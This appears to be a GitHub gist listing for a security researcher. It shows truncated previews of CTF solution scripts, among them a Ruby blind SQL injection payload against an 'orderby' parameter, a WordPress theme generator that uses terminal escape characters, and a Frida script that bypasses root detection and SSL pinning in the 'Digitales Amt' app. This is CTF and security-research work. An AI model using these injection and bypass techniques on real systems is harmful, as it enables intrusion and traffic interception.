Christian Mehlmauer firefart

🖥️

hacking your server

firefart / nullcon2013_prog5.rb

Last active December 12, 2015 05:58

Solution for "Programming challenge 5 - copy paste" of Nullcon CTF 2013

	#!/usr/bin/env ruby

	require "net/http"
	require "uri"

	url = URI.parse("http://ctf.nullcon.net/challenges/programming/challenge.php")
	found = false

	while not found do
	response = Net::HTTP.get_response(url)

firefart / bitcoinctf_level2_and_3.rb

Created May 4, 2013 17:59

Solution for level02 and level03 for bitcoinctf

	#!/usr/bin/env ruby

	require 'net/http'
	require 'uri'

	def make_request(url, payload)
	uri = URI.parse("http://www.bitcoinctf.com#{url}")
	params = {
	:orderby => "1, (select case when (#{payload}) then 1 else 1*(select table_name from information_schema.tables)end)=1",
	:limit => '1'

firefart / create_bad_theme.rb

Created December 11, 2013 21:07

Creates a Wordpress theme with terminal escape characters in it's name

	#!/usr/bin/env ruby

	colored = "\e[34mColored Text\e[0m"
	bold = "\e[1m Bold!\e[0m"

	style_css = <<CSS.sub('{1}', colored).sub('{2}', bold).strip
	/*
	Theme Name: bad_theme
	Theme URI: http://www.firefart.net
	Description: {1}

firefart / digitales-amt.js

Created November 8, 2022 11:10

Root Detection and SSL pinning bypass script for the Digitales Amt app

	var printBacktrace = function () {
	Java.perform(function() {
	var JLog = Java.use('android.util.Log'), JException = Java.use('java.lang.Exception');
	console.warn("Call Stack:");
	console.warn(JLog.getStackTraceString(JException.$new()));
	});
	};

	Java.perform(function() {
	var targetClass = Java.use("at.asitplus.utils.deviceintegrity.DeviceIntegrityCheck");